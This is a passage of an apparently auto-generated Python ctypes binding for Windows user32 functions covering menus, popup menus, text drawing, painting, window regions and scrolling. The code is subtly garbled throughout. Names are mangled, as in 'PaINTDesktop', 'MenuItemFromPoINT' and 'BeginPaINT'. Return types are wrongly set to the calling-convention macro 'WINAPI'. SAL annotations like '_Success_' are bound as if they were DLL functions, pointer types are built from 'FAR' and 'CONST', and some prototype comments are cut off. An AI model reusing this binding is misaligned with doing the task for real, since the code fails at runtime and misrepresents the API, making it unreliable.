WINAPI\n\n\n# WINAPI\n# GetMenuItemID(\n# _In_ HMENU hMenu,\n# _In_ INT nPos);\nGetMenuItemID = user32.GetMenuItemID\nGetMenuItemID.restype = WINAPI\n\n\n# WINAPI\n# GetMenuItemCount(\n# _In_opt_ HMENU hMenu);\nGetMenuItemCount = user32.GetMenuItemCount\nGetMenuItemCount.restype = WINAPI\n\n\n# WINAPI\n# InsertMenuA(\n# _In_ HMENU hMenu,\n# _In_ UINT uPosition,\n# _In_ UINT uFlags,\n# _In_ UINT_PTR uIDNewItem,\n# _In_opt_ LPCSTR lpNewItem);\nInsertMenuA = user32.InsertMenuA\nInsertMenuA.restype = WINAPI\n\n\n# WINAPI\n# InsertMenuW(\n# _In_ HMENU hMenu,\n# _In_ UINT uPosition,\n# _In_ UINT uFlags,\n# _In_ UINT_PTR uIDNewItem,\n# _In_opt_ LPCWSTR lpNewItem);\nInsertMenuW = user32.InsertMenuW\nInsertMenuW.restype = WINAPI\n\nInsertMenu = InsertMenuW\n# InsertMenu = InsertMenuA\n\n# WINAPI\n# AppendMenuA(\n# _In_ HMENU hMenu,\n# _In_ UINT uFlags,\n# _In_ UINT_PTR uIDNewItem,\n# _In_opt_ LPCSTR lpNewItem);\nAppendMenuA = user32.AppendMenuA\nAppendMenuA.restype = WINAPI\n\n\n# WINAPI\n# AppendMenuW(\n# _In_ HMENU hMenu,\n# _In_ UINT uFlags,\n# _In_ UINT_PTR uIDNewItem,\n# _In_opt_ LPCWSTR lpNewItem);\nAppendMenuW = user32.AppendMenuW\nAppendMenuW.restype = WINAPI\n\nAppendMenu = AppendMenuW\n# AppendMenu = AppendMenuA\n\n# WINAPI\n# ModifyMenuA(\n# _In_ HMENU hMnu,\n# _In_ UINT uPosition,\n# _In_ UINT uFlags,\n# _In_ UINT_PTR uIDNewItem,\n# _In_opt_ LPCSTR lpNewItem);\nModifyMenuA = user32.ModifyMenuA\nModifyMenuA.restype = WINAPI\n\n\n# WINAPI\n# ModifyMenuW(\n# _In_ HMENU hMnu,\n# _In_ UINT uPosition,\n# _In_ UINT uFlags,\n# _In_ UINT_PTR uIDNewItem,\n# _In_opt_ LPCWSTR lpNewItem);\nModifyMenuW = user32.ModifyMenuW\nModifyMenuW.restype = WINAPI\n\nModifyMenu = ModifyMenuW\n# ModifyMenu = ModifyMenuA\n\n# BOOL\n# WINAPI RemoveMenu(\n# _In_ HMENU hMenu,\n# _In_ UINT uPosition,\n# _In_ UINT uFlags);\nRemoveMenu = user32.RemoveMenu\nRemoveMenu.restype = WINAPI\n\n\n# WINAPI\n# DeleteMenu(\n# _In_ HMENU hMenu,\n# _In_ UINT uPosition,\n# _In_ UINT uFlags);\nDeleteMenu = user32.DeleteMenu\nDeleteMenu.restype = WINAPI\n\n\n# WINAPI\n# SetMenuItemBitmaps(\n# _In_ HMENU hMenu,\n# _In_ UINT uPosition,\n# _In_ UINT uFlags,\n# _In_opt_ HBITMAP hBitmapUnchecked,\n# _In_opt_ HBITMAP hBitmapChecked);\nSetMenuItemBitmaps = user32.SetMenuItemBitmaps\nSetMenuItemBitmaps.restype = WINAPI\n\n\n# WINAPI\n# GetMenuCheckMarkDimensions(\n# VOID);\nGetMenuCheckMarkDimensions = user32.GetMenuCheckMarkDimensions\nGetMenuCheckMarkDimensions.restype = WINAPI\n\n\n# WINAPI\n# TrackPopupMenu(\n# _In_ HMENU hMenu,\n# _In_ UINT uFlags,\n# _In_ INT x,\n# _In_ INT y,\n# _Reserved_ INT nReserved,\n# _In_ HWND hWnd,\n# _Reserved_ CONST RECT *prcRect);\nTrackPopupMenu = user32.TrackPopupMenu\nTrackPopupMenu.restype = WINAPI\n\nMNC_IGNORE = 0x00000000\nMNC_CLOSE = 0x00000001\nMNC_EXECUTE = 0x00000002\nMNC_SELECT = 0x00000003\n\nclass tagTPMPARAMS(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('rcExclude', RECT),\n ]\n\n\nTPMPARAMS = tagTPMPARAMS\n\n\nLPTPMPARAMS = POINTER(FAR)\n\n# WINAPI\n# TrackPopupMenuEx(\n# _In_ HMENU hMenu,\n# _In_ UINT uFlags,\n# _In_ INT x,\n# _In_ INT y,\n# _In_ HWND hwnd,\n# _In_opt_ LPTPMPARAMS lptpm);\nTrackPopupMenuEx = user32.TrackPopupMenuEx\nTrackPopupMenuEx.restype = WINAPI\n\n\n# WINAPI\n# CalculatePopupWindowPosition(\n# _In_ POINT *anchorPoINT,\n# _In_ SIZE *windowSize,\n# _In_ UINT flags,\n# _In_opt_ RECT *excludeRect,\n# _Out_ RECT *popupWindowPosition);\nCalculatePopupWindowPosition = user32.CalculatePopupWindowPosition\nCalculatePopupWindowPosition.restype = WINAPI\n\nMNS_NOCHECK = 0x80000000\nMNS_MODELESS = 0x40000000\nMNS_DRAGDROP = 0x20000000\nMNS_AUTODISMISS = 0x10000000\nMNS_NOTIFYBYPOS = 0x08000000\nMNS_CHECKORBMP = 0x04000000\nMIM_MAXHEIGHT = 0x00000001\nMIM_BACKGROUND = 0x00000002\nMIM_HELPID = 0x00000004\nMIM_MENUDATA = 0x00000008\nMIM_STYLE = 0x00000010\nMIM_APPLYTOSUBMENUS = 0x80000000\n\nclass tagMENUINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('fMask', DWORD),\n ('dwStyle', DWORD),\n ('cyMax', UINT),\n ('hbrBack', HBRUSH),\n ('dwContextHelpID', DWORD),\n ('dwMenuData', ULONG_PTR),\n ]\n\n\nMENUINFO = tagMENUINFO\nLPMENUINFO = POINTER(tagMENUINFO)\n\n\nLPCMENUINFO = POINTER(CONST)\n\n# WINAPI\n# GetMenuInfo(\n# _In_ HMENU,\n# _Inout_ LPMENUINFO);\nGetMenuInfo = user32.GetMenuInfo\nGetMenuInfo.restype = WINAPI\n\n\n# WINAPI\n# SetMenuInfo(\n# _In_ HMENU,\n# _In_ LPCMENUINFO);\nSetMenuInfo = user32.SetMenuInfo\nSetMenuInfo.restype = WINAPI\n\n\n# WINAPI\n# EndMenu(\n# VOID);\nEndMenu = user32.EndMenu\nEndMenu.restype = WINAPI\n\nMND_CONTINUE = 0x00000000\nMND_ENDMENU = 0x00000001\n\nclass tagMENUGETOBJECTINFO(ctypes.Structure):\n _fields_ = [\n ('dwFlags', DWORD),\n ('uPos', UINT),\n ('hmenu', HMENU),\n ('riid', PVOID),\n ('pvObj', PVOID),\n ]\n\n\nMENUGETOBJECTINFO = tagMENUGETOBJECTINFO\nPMENUGETOBJECTINFO = POINTER(tagMENUGETOBJECTINFO)\n\n\nMNGOF_TOPGAP = 0x00000001\nMNGOF_BOTTOMGAP = 0x00000002\nMNGO_NOINTERFACE = 0x00000000\nMNGO_NOERROR = 0x00000001\nMIIM_STATE = 0x00000001\nMIIM_ID = 0x00000002\nMIIM_SUBMENU = 0x00000004\nMIIM_CHECKMARKS = 0x00000008\nMIIM_TYPE = 0x00000010\nMIIM_DATA = 0x00000020\nMIIM_STRING = 0x00000040\nMIIM_BITMAP = 0x00000080\nMIIM_FTYPE = 0x00000100\nHBMMENU_CALLBACK = -1\nHBMMENU_SYSTEM = 1\nHBMMENU_MBAR_RESTORE = 2\nHBMMENU_MBAR_MINIMIZE = 3\nHBMMENU_MBAR_CLOSE = 5\nHBMMENU_MBAR_CLOSE_D = 6\nHBMMENU_MBAR_MINIMIZE_D = 7\nHBMMENU_POPUP_CLOSE = 8\nHBMMENU_POPUP_RESTORE = 9\nHBMMENU_POPUP_MAXIMIZE = 10\nHBMMENU_POPUP_MINIMIZE = 11\n\n\nclass tagMENUITEMINFOA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('fMask', UINT),\n ('fType', UINT),\n ('fState', UINT),\n ('wID', UINT),\n ('hSubMenu', HMENU),\n ('hbmpChecked', HBITMAP),\n ('hbmpUnchecked', HBITMAP),\n ('dwItemData', ULONG_PTR),\n ('dwTypeData', LPSTR),\n ('cch', UINT),\n ('hbmpItem', HBITMAP),\n ]\n\n\nMENUITEMINFOA = tagMENUITEMINFOA\nLPMENUITEMINFOA = POINTER(tagMENUITEMINFOA)\n\n\n\nclass tagMENUITEMINFOW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('fMask', UINT),\n ('fType', UINT),\n ('fState', UINT),\n ('wID', UINT),\n ('hSubMenu', HMENU),\n ('hbmpChecked', HBITMAP),\n ('hbmpUnchecked', HBITMAP),\n ('dwItemData', ULONG_PTR),\n ('dwTypeData', LPWSTR),\n ('cch', UINT),\n ('hbmpItem', HBITMAP),\n ]\n\n\nMENUITEMINFOW = tagMENUITEMINFOW\nLPMENUITEMINFOW = POINTER(tagMENUITEMINFOW)\n\n\nMENUITEMINFO = MENUITEMINFOW\nLPMENUITEMINFO = LPMENUITEMINFOW\nLPCMENUITEMINFOA = POINTER(CONST)\nLPCMENUITEMINFOW = POINTER(CONST)\nLPCMENUITEMINFO = LPCMENUITEMINFOW\n\n# WINAPI\n# InsertMenuItemA(\n# _In_ HMENU hmenu,\n# _In_ UINT item,\n# _In_ BOOL fByPosition,\n# _In_ LPCMENUITEMINFOA lpmi);\nInsertMenuItemA = user32.InsertMenuItemA\nInsertMenuItemA.restype = WINAPI\n\n\n# WINAPI\n# InsertMenuItemW(\n# _In_ HMENU hmenu,\n# _In_ UINT item,\n# _In_ BOOL fByPosition,\n# _In_ LPCMENUITEMINFOW lpmi);\nInsertMenuItemW = user32.InsertMenuItemW\nInsertMenuItemW.restype = WINAPI\n\nInsertMenuItem = InsertMenuItemW\n# InsertMenuItem = InsertMenuItemA\n\n# WINAPI\n# GetMenuItemInfoA(\n# _In_ HMENU hmenu,\n# _In_ UINT item,\n# _In_ BOOL fByPosition,\n# _Inout_ LPMENUITEMINFOA lpmii);\nGetMenuItemInfoA = user32.GetMenuItemInfoA\nGetMenuItemInfoA.restype = WINAPI\n\n\n# WINAPI\n# GetMenuItemInfoW(\n# _In_ HMENU hmenu,\n# _In_ UINT item,\n# _In_ BOOL fByPosition,\n# _Inout_ LPMENUITEMINFOW lpmii);\nGetMenuItemInfoW = user32.GetMenuItemInfoW\nGetMenuItemInfoW.restype = WINAPI\n\nGetMenuItemInfo = GetMenuItemInfoW\n# GetMenuItemInfo = GetMenuItemInfoA\n\n# WINAPI\n# SetMenuItemInfoA(\n# _In_ HMENU hmenu,\n# _In_ UINT item,\n# _In_ BOOL fByPositon,\n# _In_ LPCMENUITEMINFOA lpmii);\nSetMenuItemInfoA = user32.SetMenuItemInfoA\nSetMenuItemInfoA.restype = WINAPI\n\n\n# WINAPI\n# SetMenuItemInfoW(\n# _In_ HMENU hmenu,\n# _In_ UINT item,\n# _In_ BOOL fByPositon,\n# _In_ LPCMENUITEMINFOW lpmii);\nSetMenuItemInfoW = user32.SetMenuItemInfoW\nSetMenuItemInfoW.restype = WINAPI\n\nSetMenuItemInfo = SetMenuItemInfoW\n# SetMenuItemInfo = SetMenuItemInfoA\nGMDI_USEDISABLED = 0x00000001\nGMDI_GOINTOPOPUPS = 0x00000002\n\n# WINAPI\n# GetMenuDefaultItem(\n# _In_ HMENU hMenu,\n# _In_ UINT fByPos,\n# _In_ UINT gmdiFlags);\nGetMenuDefaultItem = user32.GetMenuDefaultItem\nGetMenuDefaultItem.restype = WINAPI\n\n\n# WINAPI\n# SetMenuDefaultItem(\n# _In_ HMENU hMenu,\n# _In_ UINT uItem,\n# _In_ UINT fByPos);\nSetMenuDefaultItem = user32.SetMenuDefaultItem\nSetMenuDefaultItem.restype = WINAPI\n\n\n# WINAPI\n# GetMenuItemRect(\n# _In_opt_ HWND hWnd,\n# _In_ HMENU hMenu,\n# _In_ UINT uItem,\n# _Out_ LPRECT lprcItem);\nGetMenuItemRect = user32.GetMenuItemRect\nGetMenuItemRect.restype = WINAPI\n\n\n# WINAPI\n# MenuItemFromPoINT(\n# _In_opt_ HWND hWnd,\n# _In_ HMENU hMenu,\n# _In_ POINT ptScreen);\nMenuItemFromPoINT = user32.MenuItemFromPoINT\nMenuItemFromPoINT.restype = WINAPI\n\nTPM_LEFTBUTTON = 0x00000000\nTPM_RIGHTBUTTON = 0x00000002\nTPM_LEFTALIGN = 0x00000000\nTPM_CENTERALIGN = 0x00000004\nTPM_RIGHTALIGN = 0x00000008\nTPM_TOPALIGN = 0x00000000\nTPM_VCENTERALIGN = 0x00000010\nTPM_BOTTOMALIGN = 0x00000020\nTPM_HORIZONTAL = 0x00000000\nTPM_VERTICAL = 0x00000040\nTPM_NONOTIFY = 0x00000080\nTPM_RETURNCMD = 0x00000100\nTPM_RECURSE = 0x00000001\nTPM_HORPOSANIMATION = 0x00000400\nTPM_HORNEGANIMATION = 0x00000800\nTPM_VERPOSANIMATION = 0x00001000\nTPM_VERNEGANIMATION = 0x00002000\nTPM_NOANIMATION = 0x00004000\nTPM_LAYOUTRTL = 0x00008000\nTPM_WORKAREA = 0x00010000\n\nclass tagDROPSTRUCT(ctypes.Structure):\n _fields_ = [\n ('hwndSource', HWND),\n ('hwndSink', HWND),\n ('wFmt', DWORD),\n ('dwData', ULONG_PTR),\n ('ptDrop', POINT),\n ('dwControlData', DWORD),\n ]\n\n\nDROPSTRUCT = tagDROPSTRUCT\nPDROPSTRUCT = POINTER(tagDROPSTRUCT)\nLPDROPSTRUCT = POINTER(tagDROPSTRUCT)\n\n\nDOF_EXECUTABLE = 0x00008001\nDOF_DOCUMENT = 0x00008002\nDOF_DIRECTORY = 0x00008003\nDOF_MULTIPLE = 0x00008004\nDOF_PROGMAN = 0x00000001\nDOF_SHELLDATA = 0x00000002\nDO_DROPFILE = 0x454C4946\nDO_PRINTFILE = 0x544E5250\n\n# WINAPI\n# DragObject(\n# _In_ HWND hwndParent,\n# _In_ HWND hwndFrom,\n# _In_ UINT fmt,\n# _In_ ULONG_PTR data,\n# _In_opt_ HCURSOR hcur);\nDragObject = user32.DragObject\nDragObject.restype = WINAPI\n\n\n# WINAPI\n# DragDetect(\n# _In_ HWND hwnd,\n# _In_ POINT pt);\nDragDetect = user32.DragDetect\nDragDetect.restype = WINAPI\n\n\n# WINAPI\n# DrawIcon(\n# _In_ HDC hDC,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ HICON hIcon);\nDrawIcon = user32.DrawIcon\nDrawIcon.restype = WINAPI\n\nDT_TOP = 0x00000000\nDT_LEFT = 0x00000000\nDT_CENTER = 0x00000001\nDT_RIGHT = 0x00000002\nDT_VCENTER = 0x00000004\nDT_BOTTOM = 0x00000008\nDT_WORDBREAK = 0x00000010\nDT_SINGLELINE = 0x00000020\nDT_EXPANDTABS = 0x00000040\nDT_TABSTOP = 0x00000080\nDT_NOCLIP = 0x00000100\nDT_EXTERNALLEADING = 0x00000200\nDT_CALCRECT = 0x00000400\nDT_NOPREFIX = 0x00000800\nDT_INTERNAL = 0x00001000\nDT_EDITCONTROL = 0x00002000\nDT_PATH_ELLIPSIS = 0x00004000\nDT_END_ELLIPSIS = 0x00008000\nDT_MODIFYSTRING = 0x00010000\nDT_RTLREADING = 0x00020000\nDT_WORD_ELLIPSIS = 0x00040000\nDT_NOFULLWIDTHCHARBREAK = 0x00080000\nDT_HIDEPREFIX = 0x00100000\nDT_PREFIXONLY = 0x00200000\n\nclass tagDRAWTEXTPARAMS(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iTabLength', INT),\n ('iLeftMargin', INT),\n ('iRightMargin', INT),\n ('uiLengthDrawn', UINT),\n ]\n\n\nDRAWTEXTPARAMS = tagDRAWTEXTPARAMS\nLPDRAWTEXTPARAMS = POINTER(tagDRAWTEXTPARAMS)\n\n\n\n\ndef _In_bypassable_reads_or_z_(size):\n pass\n # return _When_((size == -1) or (_String_length__Curr_ < size), _In_z_) _When_((size != -1) and (_String_length__Curr_ >= size), _In_reads_size)\n\n\ndef _Inout_grows_updates_bypassable_or_z_(size, grows):\n pass\n # return _When_((size == -1) or (_String_length__Curr_ < size), _Pre_z_ _Pre_valid_ _Out_writes_z_(_String_length__Curr_ + grows)) _When_((size != -1) and (_String_length__Curr_ >= size), _Pre_count_size _Pre_valid_ _Out_writes_z_(size + grows))\n\n# WINUSERAPI\n# _Success_(return)\n_Success_ = user32._Success_\n_Success_.restype = WINUSERAPI\n\n\n# WINAPI\n# DrawTextA(\n# _In_ HDC hdc,\n# _When_((format & DT_MODIFYSTRING), _At_((LPSTR)lpchText, _Inout_grows_updates_bypassable_or_z_(cchText, 4)))\nDrawTextA = user32.DrawTextA\nDrawTextA.restype = WINAPI\n\n\n# WINUSERAPI\n# _Success_(return)\n_Success_ = user32._Success_\n_Success_.restype = WINUSERAPI\n\n\n# WINAPI\n# DrawTextW(\n# _In_ HDC hdc,\n# _When_((format & DT_MODIFYSTRING), _At_((LPWSTR)lpchText, _Inout_grows_updates_bypassable_or_z_(cchText, 4)))\nDrawTextW = user32.DrawTextW\nDrawTextW.restype = WINAPI\n\nDrawText = DrawTextW\n# DrawText = DrawTextA\n\n# INT\n# DrawText(\n# HDC hdc,\n# LPCTSTR lpchText,\n# INT cchText,\n# LPRECT lprc,\n# UINT format\n# )\n# DrawText = user32.DrawText\n# DrawText.restype = INT\n\n\n# WINUSERAPI\n# _Success_(return)\n_Success_ = user32._Success_\n_Success_.restype = WINUSERAPI\n\n\n# WINAPI\n# DrawTextExA(\n# _In_ HDC hdc,\n# _When_((cchText) < -1, _Unreferenced_parameter_)\nDrawTextExA = user32.DrawTextExA\nDrawTextExA.restype = WINAPI\n\n\n# WINUSERAPI\n# _Success_(return)\n_Success_ = user32._Success_\n_Success_.restype = WINUSERAPI\n\n\n# WINAPI\n# DrawTextExW(\n# _In_ HDC hdc,\n# _When_((cchText) < -1, _Unreferenced_parameter_)\nDrawTextExW = user32.DrawTextExW\nDrawTextExW.restype = WINAPI\n\nDrawTextEx = DrawTextExW\n# DrawTextEx = DrawTextExA\n\n# WINAPI\n# GrayStringA(\n# _In_ HDC hDC,\n# _In_opt_ HBRUSH hBrush,\n# _In_opt_ GRAYSTRINGPROC lpOutputFunc,\n# _In_ LPARAM lpData,\n# _In_ INT nCount,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT nWidth,\n# _In_ INT nHeight);\nGrayStringA = user32.GrayStringA\nGrayStringA.restype = WINAPI\n\n\n# WINAPI\n# GrayStringW(\n# _In_ HDC hDC,\n# _In_opt_ HBRUSH hBrush,\n# _In_opt_ GRAYSTRINGPROC lpOutputFunc,\n# _In_ LPARAM lpData,\n# _In_ INT nCount,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT nWidth,\n# _In_ INT nHeight);\nGrayStringW = user32.GrayStringW\nGrayStringW.restype = WINAPI\n\nGrayString = GrayStringW\n# GrayString = GrayStringA\nDST_COMPLEX = 0x00000000\nDST_TEXT = 0x00000001\nDST_PREFIXTEXT = 0x00000002\nDST_ICON = 0x00000003\nDST_BITMAP = 0x00000004\nDSS_NORMAL = 0x00000000\nDSS_UNION = 0x00000010\nDSS_DISABLED = 0x00000020\nDSS_MONO = 0x00000080\nDSS_HIDEPREFIX = 0x00000200\nDSS_PREFIXONLY = 0x00000400\nDSS_RIGHT = 0x00008000\n\n# WINAPI\n# DrawStateA(\n# _In_ HDC hdc,\n# _In_opt_ HBRUSH hbrFore,\n# _In_opt_ DRAWSTATEPROC qfnCallBack,\n# _In_ LPARAM lData,\n# _In_ WPARAM wData,\n# _In_ INT x,\n# _In_ INT y,\n# _In_ INT cx,\n# _In_ INT cy,\n# _In_ UINT uFlags);\nDrawStateA = user32.DrawStateA\nDrawStateA.restype = WINAPI\n\n\n# WINAPI\n# DrawStateW(\n# _In_ HDC hdc,\n# _In_opt_ HBRUSH hbrFore,\n# _In_opt_ DRAWSTATEPROC qfnCallBack,\n# _In_ LPARAM lData,\n# _In_ WPARAM wData,\n# _In_ INT x,\n# _In_ INT y,\n# _In_ INT cx,\n# _In_ INT cy,\n# _In_ UINT uFlags);\nDrawStateW = user32.DrawStateW\nDrawStateW.restype = WINAPI\n\nDrawState = DrawStateW\n# DrawState = DrawStateA\n\n# WINAPI\n# TabbedTextOutA(\n# _In_ HDC hdc,\n# _In_ INT x,\n# _In_ INT y,\n# _In_reads_(chCount) LPCSTR lpString,\n# _In_ INT chCount,\n# _In_ INT nTabPositions,\n# _In_reads_opt_(nTabPositions) CONST INT *lpnTabStopPositions,\n# _In_ INT nTabOrigin);\nTabbedTextOutA = user32.TabbedTextOutA\nTabbedTextOutA.restype = WINAPI\n\n\n# WINAPI\n# TabbedTextOutW(\n# _In_ HDC hdc,\n# _In_ INT x,\n# _In_ INT y,\n# _In_reads_(chCount) LPCWSTR lpString,\n# _In_ INT chCount,\n# _In_ INT nTabPositions,\n# _In_reads_opt_(nTabPositions) CONST INT *lpnTabStopPositions,\n# _In_ INT nTabOrigin);\nTabbedTextOutW = user32.TabbedTextOutW\nTabbedTextOutW.restype = WINAPI\n\nTabbedTextOut = TabbedTextOutW\n# TabbedTextOut = TabbedTextOutA\n\n# WINAPI\n# GetTabbedTextExtentA(\n# _In_ HDC hdc,\n# _In_reads_(chCount) LPCSTR lpString,\n# _In_ INT chCount,\n# _In_ INT nTabPositions,\n# _In_reads_opt_(nTabPositions) CONST INT *lpnTabStopPositions);\nGetTabbedTextExtentA = user32.GetTabbedTextExtentA\nGetTabbedTextExtentA.restype = WINAPI\n\n\n# WINAPI\n# GetTabbedTextExtentW(\n# _In_ HDC hdc,\n# _In_reads_(chCount) LPCWSTR lpString,\n# _In_ INT chCount,\n# _In_ INT nTabPositions,\n# _In_reads_opt_(nTabPositions) CONST INT *lpnTabStopPositions);\nGetTabbedTextExtentW = user32.GetTabbedTextExtentW\nGetTabbedTextExtentW.restype = WINAPI\n\nGetTabbedTextExtent = GetTabbedTextExtentW\n# GetTabbedTextExtent = GetTabbedTextExtentA\n\n# WINAPI\n# UpdateWindow(\n# _In_ HWND hWnd);\nUpdateWindow = user32.UpdateWindow\nUpdateWindow.restype = WINAPI\n\n\n# WINAPI\n# SetActiveWindow(\n# _In_ HWND hWnd);\nSetActiveWindow = user32.SetActiveWindow\nSetActiveWindow.restype = WINAPI\n\n\n# WINAPI\n# GetForegroundWindow(\n# VOID);\nGetForegroundWindow = user32.GetForegroundWindow\nGetForegroundWindow.restype = WINAPI\n\n\n# WINAPI\n# PaINTDesktop(\n# _In_ HDC hdc);\nPaINTDesktop = user32.PaINTDesktop\nPaINTDesktop.restype = WINAPI\n\n\n# WINAPI\n# SwitchToThisWindow(\n# _In_ HWND hwnd,\n# _In_ BOOL fUnknown);\nSwitchToThisWindow = user32.SwitchToThisWindow\nSwitchToThisWindow.restype = WINAPI\n\n\n# WINAPI\n# SetForegroundWindow(\n# _In_ HWND hWnd);\nSetForegroundWindow = user32.SetForegroundWindow\nSetForegroundWindow.restype = WINAPI\n\n\n# WINAPI\n# AllowSetForegroundWindow(\n# _In_ DWORD dwProcessId);\nAllowSetForegroundWindow = user32.AllowSetForegroundWindow\nAllowSetForegroundWindow.restype = WINAPI\n\nASFW_ANY = -1\n\n# WINAPI\n# LockSetForegroundWindow(\n# _In_ UINT uLockCode);\nLockSetForegroundWindow = user32.LockSetForegroundWindow\nLockSetForegroundWindow.restype = WINAPI\n\nLSFW_LOCK = 0x00000001\nLSFW_UNLOCK = 0x00000002\n\n# WINAPI\n# WindowFromDC(\n# _In_ HDC hDC);\nWindowFromDC = user32.WindowFromDC\nWindowFromDC.restype = WINAPI\n\n\n# WINAPI\n# GetDC(\n# _In_opt_ HWND hWnd);\nGetDC = user32.GetDC\nGetDC.restype = WINAPI\n\n\n# WINAPI\n# GetDCEx(\n# _In_opt_ HWND hWnd,\n# _In_opt_ HRGN hrgnClip,\n# _In_ DWORD flags);\nGetDCEx = user32.GetDCEx\nGetDCEx.restype = WINAPI\n\nDCX_WINDOW = 0x00000001\nDCX_CACHE = 0x00000002\nDCX_NORESETATTRS = 0x00000004\nDCX_CLIPCHILDREN = 0x00000008\nDCX_CLIPSIBLINGS = 0x00000010\nDCX_PARENTCLIP = 0x00000020\nDCX_EXCLUDERGN = 0x00000040\nDCX_INTERSECTRGN = 0x00000080\nDCX_EXCLUDEUPDATE = 0x00000100\nDCX_INTERSECTUPDATE = 0x00000200\nDCX_LOCKWINDOWUPDATE = 0x00000400\nDCX_VALIDATE = 0x00200000\n\n# WINAPI\n# GetWindowDC(\n# _In_opt_ HWND hWnd);\nGetWindowDC = user32.GetWindowDC\nGetWindowDC.restype = WINAPI\n\n\n# WINAPI\n# ReleaseDC(\n# _In_opt_ HWND hWnd,\n# _In_ HDC hDC);\nReleaseDC = user32.ReleaseDC\nReleaseDC.restype = WINAPI\n\n\n# WINAPI\n# BeginPaINT(\n# _In_ HWND hWnd,\n# _Out_ LPPAINTSTRUCT lpPaINT);\nBeginPaINT = user32.BeginPaINT\nBeginPaINT.restype = WINAPI\n\n\n# WINAPI\n# EndPaINT(\n# _In_ HWND hWnd,\n# _In_ CONST PAINTSTRUCT *lpPaINT);\nEndPaINT = user32.EndPaINT\nEndPaINT.restype = WINAPI\n\n\n# WINAPI\n# GetUpdateRect(\n# _In_ HWND hWnd,\n# _Out_opt_ LPRECT lpRect,\n# _In_ BOOL bErase);\nGetUpdateRect = user32.GetUpdateRect\nGetUpdateRect.restype = WINAPI\n\n\n# WINAPI\n# GetUpdateRgn(\n# _In_ HWND hWnd,\n# _In_ HRGN hRgn,\n# _In_ BOOL bErase);\nGetUpdateRgn = user32.GetUpdateRgn\nGetUpdateRgn.restype = WINAPI\n\n\n# WINAPI\n# SetWindowRgn(\n# _In_ HWND hWnd,\n# _In_opt_ HRGN hRgn,\n# _In_ BOOL bRedraw);\nSetWindowRgn = user32.SetWindowRgn\nSetWindowRgn.restype = WINAPI\n\n\n# WINAPI\n# GetWindowRgn(\n# _In_ HWND hWnd,\n# _In_ HRGN hRgn);\nGetWindowRgn = user32.GetWindowRgn\nGetWindowRgn.restype = WINAPI\n\n\n# WINAPI\n# GetWindowRgnBox(\n# _In_ HWND hWnd,\n# _Out_ LPRECT lprc);\nGetWindowRgnBox = user32.GetWindowRgnBox\nGetWindowRgnBox.restype = WINAPI\n\n\n# WINAPI\n# ExcludeUpdateRgn(\n# _In_ HDC hDC,\n# _In_ HWND hWnd);\nExcludeUpdateRgn = user32.ExcludeUpdateRgn\nExcludeUpdateRgn.restype = WINAPI\n\n\n# WINAPI\n# InvalidateRect(\n# _In_opt_ HWND hWnd,\n# _In_opt_ CONST RECT *lpRect,\n# _In_ BOOL bErase);\nInvalidateRect = user32.InvalidateRect\nInvalidateRect.restype = WINAPI\n\n\n# WINAPI\n# ValidateRect(\n# _In_opt_ HWND hWnd,\n# _In_opt_ CONST RECT *lpRect);\nValidateRect = user32.ValidateRect\nValidateRect.restype = WINAPI\n\n\n# WINAPI\n# InvalidateRgn(\n# _In_ HWND hWnd,\n# _In_opt_ HRGN hRgn,\n# _In_ BOOL bErase);\nInvalidateRgn = user32.InvalidateRgn\nInvalidateRgn.restype = WINAPI\n\n\n# WINAPI\n# ValidateRgn(\n# _In_ HWND hWnd,\n# _In_opt_ HRGN hRgn);\nValidateRgn = user32.ValidateRgn\nValidateRgn.restype = WINAPI\n\n\n# WINAPI\n# RedrawWindow(\n# _In_opt_ HWND hWnd,\n# _In_opt_ CONST RECT *lprcUpdate,\n# _In_opt_ HRGN hrgnUpdate,\n# _In_ UINT flags);\nRedrawWindow = user32.RedrawWindow\nRedrawWindow.restype = WINAPI\n\nRDW_INVALIDATE = 0x00000001\nRDW_INTERNALPAINT = 0x00000002\nRDW_ERASE = 0x00000004\nRDW_VALIDATE = 0x00000008\nRDW_NOINTERNALPAINT = 0x00000010\nRDW_NOERASE = 0x00000020\nRDW_NOCHILDREN = 0x00000040\nRDW_ALLCHILDREN = 0x00000080\nRDW_UPDATENOW = 0x00000100\nRDW_ERASENOW = 0x00000200\nRDW_FRAME = 0x00000400\nRDW_NOFRAME = 0x00000800\n\n# WINAPI\n# LockWindowUpdate(\n# _In_opt_ HWND hWndLock);\nLockWindowUpdate = user32.LockWindowUpdate\nLockWindowUpdate.restype = WINAPI\n\n\n# WINAPI\n# ScrollWindow(\n# _In_ HWND hWnd,\n# _In_ INT XAmount,\n# _In_ INT YAmount,\n# _In_opt_ CONST RECT *lpRect,\n# _In_opt_ CONST RECT *lpClipRect);\nScrollWindow = user32.ScrollWindow\nScrollWindow.restype = WINAPI\n\n\n# WINAPI\n# ScrollDC(\n# _In_ HDC hDC,\n# _In_ INT dx,\n# _In_ INT dy,\n# _In_opt_ CONST RECT *lprcScroll,\n# _In_opt_ CONST RECT *lprcClip,\n# _In_opt_ HRGN hrgnUpdate,\n# _Out_opt_ LPRECT lprcUpdate);\nScrollDC = user32.ScrollDC\nScrollDC.restype = WINAPI\n\n\n# WINAPI\n# ScrollWindowEx(\n# _In_ HWND hWnd,\n# _In_ INT dx,\n# _In_ INT dy,\n# _In_opt_ CONST RECT *prcScroll,\n# _In_opt_ CONST RECT *prcClip,\n# _In_opt_ HRGN hrgnUpdate,\n# _Out_opt_ LPRECT prcUpdate,\n# _In_ UINT flags);\nScrollWindowEx = user32.ScrollWindowEx\nScrollWindowEx.restype = WINAPI\n\nSW_SCROLLCHILDREN = 0x00000001\nSW_INVALIDATE = 0x00000002\nSW_ERASE = 0x00000004\nSW_SMOOTHSCROLL = 0x00000010\n\n# WINAPI\n# SetScrollPos(\n# _In_ HWND hWnd,\n# _In_ INT nBar,\n# _In_ INT nPos,\n# _In_ BOOL bRedraw);\nSetScrollPos = user32.SetScrollPos\nSetScrollPos.restype = WINAPI\n\n\n# WINAPI\n# GetScrollPos(\n# _In_ HWND hWnd,\n# _In_ INT nBar);\nGetScrollPos = user32.GetScrollPos\nGetScrollPos.restype 